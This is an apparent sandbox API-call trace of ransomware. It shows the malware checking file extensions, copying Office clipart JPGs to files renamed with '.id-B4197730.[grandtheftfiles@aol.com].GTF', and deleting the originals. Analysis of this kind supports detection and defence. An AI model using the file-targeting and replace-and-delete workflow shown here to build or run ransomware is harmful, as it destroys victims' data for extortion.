	[0173.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0173.886] lstrlenW (lpString=".zip") returned 4
	[0173.886] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0173.886] lstrlenW (lpString=".rar") returned 4
	[0173.886] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0173.886] lstrlenW (lpString=".bz2") returned 4
	[0173.886] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0173.886] lstrlenW (lpString=".7z") returned 3
	[0173.886] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0173.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0173.887] lstrlenW (lpString=".dbf") returned 4
	[0173.887] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0173.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0173.887] lstrlenW (lpString=".1cd") returned 4
	[0173.887] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0173.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0173.887] lstrlenW (lpString=".jpg") returned 4
	[0173.889] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0173.889] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0173.890] lstrlenW (lpString="J0145810.JPG") returned 12
	[0173.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0173.891] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=36792) returned 1
	[0173.891] CloseHandle (hObject=0x580) returned 1
	[0173.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg")) returned 0x220
	[0173.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0173.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0173.892] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.892] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584
	[0173.892] GetLastError () returned 0x0
	[0173.892] ReadFile (in: hFile=0x580, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x8fb8, lpOverlapped=0x0) returned 1
	[0173.927] WriteFile (in: hFile=0x584, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x8fc0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x8fc0, lpOverlapped=0x0) returned 1
	[0174.105] ReadFile (in: hFile=0x580, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.105] WriteFile (in: hFile=0x584, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.105] SetEndOfFile (hFile=0x584) returned 1
	[0174.205] CloseHandle (hObject=0x584) returned 1
	[0174.205] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.205] SetEndOfFile (hFile=0x580) returned 1
	[0174.208] CloseHandle (hObject=0x580) returned 1
	[0174.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.208] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg")) returned 1
	[0174.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0174.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0174.209] lstrlenW (lpString=".doc") returned 4
	[0174.209] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0174.209] lstrlenW (lpString=".docx") returned 5
	[0174.209] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0174.209] lstrlenW (lpString=".pdf") returned 4
	[0174.209] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0174.209] lstrlenW (lpString=".xls") returned 4
	[0174.209] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0174.209] lstrlenW (lpString=".xlsx") returned 5
	[0174.209] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0174.209] lstrlenW (lpString=".ppt") returned 4
	[0174.209] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0174.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0174.209] lstrlenW (lpString=".zip") returned 4
	[0174.209] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0174.209] lstrlenW (lpString=".rar") returned 4
	[0174.209] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0174.209] lstrlenW (lpString=".bz2") returned 4
	[0174.209] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0174.209] lstrlenW (lpString=".7z") returned 3
	[0174.209] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0174.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0174.210] lstrlenW (lpString=".dbf") returned 4
	[0174.210] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0174.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0174.210] lstrlenW (lpString=".1cd") returned 4
	[0174.210] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0174.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0174.210] lstrlenW (lpString=".jpg") returned 4
	[0174.210] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0174.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0174.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0174.210] lstrlenW (lpString=".doc") returned 4
	[0174.210] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0174.210] lstrlenW (lpString=".docx") returned 5
	[0174.210] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0174.210] lstrlenW (lpString=".pdf") returned 4
	[0174.210] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0174.210] lstrlenW (lpString=".xls") returned 4
	[0174.210] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0174.210] lstrlenW (lpString=".xlsx") returned 5
	[0174.210] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0174.210] lstrlenW (lpString=".ppt") returned 4
	[0174.210] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0174.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0174.210] lstrlenW (lpString=".zip") returned 4
	[0174.210] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0174.210] lstrlenW (lpString=".rar") returned 4
	[0174.210] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0174.210] lstrlenW (lpString=".bz2") returned 4
	[0174.210] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0174.210] lstrlenW (lpString=".7z") returned 3
	[0174.210] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0174.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0174.211] lstrlenW (lpString=".dbf") returned 4
	[0174.211] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0174.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0174.211] lstrlenW (lpString=".1cd") returned 4
	[0174.211] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0174.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0174.211] lstrlenW (lpString=".jpg") returned 4
	[0174.211] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0174.211] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0174.211] lstrlenW (lpString="J0146142.JPG") returned 12
	[0174.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0174.212] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=46508) returned 1
	[0174.212] CloseHandle (hObject=0x580) returned 1
	[0174.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg")) returned 0x220
	[0174.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0174.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0174.213] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.213] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584
	[0174.214] GetLastError () returned 0x0
	[0174.214] ReadFile (in: hFile=0x580, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0xb5ac, lpOverlapped=0x0) returned 1
	[0174.317] WriteFile (in: hFile=0x584, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xb5b0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xb5b0, lpOverlapped=0x0) returned 1
	[0174.319] ReadFile (in: hFile=0x580, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.319] WriteFile (in: hFile=0x584, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.319] SetEndOfFile (hFile=0x584) returned 1
	[0174.319] CloseHandle (hObject=0x584) returned 1
	[0174.319] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.319] SetEndOfFile (hFile=0x580) returned 1
	[0174.323] CloseHandle (hObject=0x580) returned 1
	[0174.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.449] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg")) returned 1
	[0174.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0174.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0174.545] lstrlenW (lpString=".doc") returned 4
	[0174.545] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0174.545] lstrlenW (lpString=".docx") returned 5
	[0174.545] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0174.545] lstrlenW (lpString=".pdf") returned 4
	[0174.545] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0174.545] lstrlenW (lpString=".xls") returned 4
	[0174.545] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0174.545] lstrlenW (lpString=".xlsx") returned 5
	[0174.545] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0174.545] lstrlenW (lpString=".ppt") returned 4
	[0174.545] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0174.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0174.545] lstrlenW (lpString=".zip") returned 4
	[0174.545] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0174.545] lstrlenW (lpString=".rar") returned 4
	[0174.545] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0174.545] lstrlenW (lpString=".bz2") returned 4
	[0174.545] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0174.545] lstrlenW (lpString=".7z") returned 3
	[0174.545] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0174.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0174.546] lstrlenW (lpString=".dbf") returned 4
	[0174.546] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0174.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0174.546] lstrlenW (lpString=".1cd") returned 4
	[0174.546] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0174.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0174.546] lstrlenW (lpString=".jpg") returned 4
	[0174.546] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0174.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0174.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0174.546] lstrlenW (lpString=".doc") returned 4
	[0174.546] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0174.546] lstrlenW (lpString=".docx") returned 5
	[0174.546] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0174.546] lstrlenW (lpString=".pdf") returned 4
	[0174.546] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0174.546] lstrlenW (lpString=".xls") returned 4
	[0174.546] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0174.546] lstrlenW (lpString=".xlsx") returned 5
	[0174.546] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0174.546] lstrlenW (lpString=".ppt") returned 4
	[0174.546] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0174.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0174.546] lstrlenW (lpString=".zip") returned 4
	[0174.546] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0174.546] lstrlenW (lpString=".rar") returned 4
	[0174.546] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0174.546] lstrlenW (lpString=".bz2") returned 4
	[0174.546] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0174.546] lstrlenW (lpString=".7z") returned 3
	[0174.546] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0174.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0174.546] lstrlenW (lpString=".dbf") returned 4
	[0174.546] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0174.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0174.547] lstrlenW (lpString=".1cd") returned 4
	[0174.547] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0174.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0174.547] lstrlenW (lpString=".jpg") returned 4
	[0174.547] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0174.547] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0174.547] lstrlenW (lpString="J0149118.JPG") returned 12
	[0174.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0174.679] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=64802) returned 1
	[0174.679] CloseHandle (hObject=0x580) returned 1
	[0174.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg")) returned 0x220
	[0174.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0174.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0174.679] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.679] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0174.680] GetLastError () returned 0x0
	[0174.680] ReadFile (in: hFile=0x580, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0xfd22, lpOverlapped=0x0) returned 1
	[0174.791] WriteFile (in: hFile=0x564, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xfd30, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xfd30, lpOverlapped=0x0) returned 1
	[0174.795] ReadFile (in: hFile=0x580, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.795] WriteFile (in: hFile=0x564, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.795] SetEndOfFile (hFile=0x564) returned 1
	[0174.795] CloseHandle (hObject=0x564) returned 1
	[0174.795] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.795] SetEndOfFile (hFile=0x580) returned 1
	[0174.798] CloseHandle (hObject=0x580) returned 1
	[0174.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.049] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg")) returned 1
	[0175.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0175.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0175.101] lstrlenW (lpString=".doc") returned 4
	[0175.101] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0175.101] lstrlenW (lpString=".docx") returned 5
	[0175.101] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0175.101] lstrlenW (lpString=".pdf") returned 4
	[0175.101] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0175.101] lstrlenW (lpString=".xls") returned 4
	[0175.101] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0175.101] lstrlenW (lpString=".xlsx") returned 5
	[0175.101] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0175.101] lstrlenW (lpString=".ppt") returned 4
	[0175.101] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0175.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0175.101] lstrlenW (lpString=".zip") returned 4
	[0175.101] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0175.101] lstrlenW (lpString=".rar") returned 4
	[0175.101] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0175.101] lstrlenW (lpString=".bz2") returned 4
	[0175.101] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0175.101] lstrlenW (lpString=".7z") returned 3
	[0175.101] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0175.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0175.102] lstrlenW (lpString=".dbf") returned 4
	[0175.102] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0175.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0175.102] lstrlenW (lpString=".1cd") returned 4
	[0175.102] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0175.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0175.102] lstrlenW (lpString=".jpg") returned 4
	[0175.102] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0175.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0175.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0175.102] lstrlenW (lpString=".doc") returned 4
	[0175.102] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0175.102] lstrlenW (lpString=".docx") returned 5
	[0175.102] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0175.102] lstrlenW (lpString=".pdf") returned 4
	[0175.102] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0175.102] lstrlenW (lpString=".xls") returned 4
	[0175.102] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0175.102] lstrlenW (lpString=".xlsx") returned 5
	[0175.102] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0175.102] lstrlenW (lpString=".ppt") returned 4
	[0175.102] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
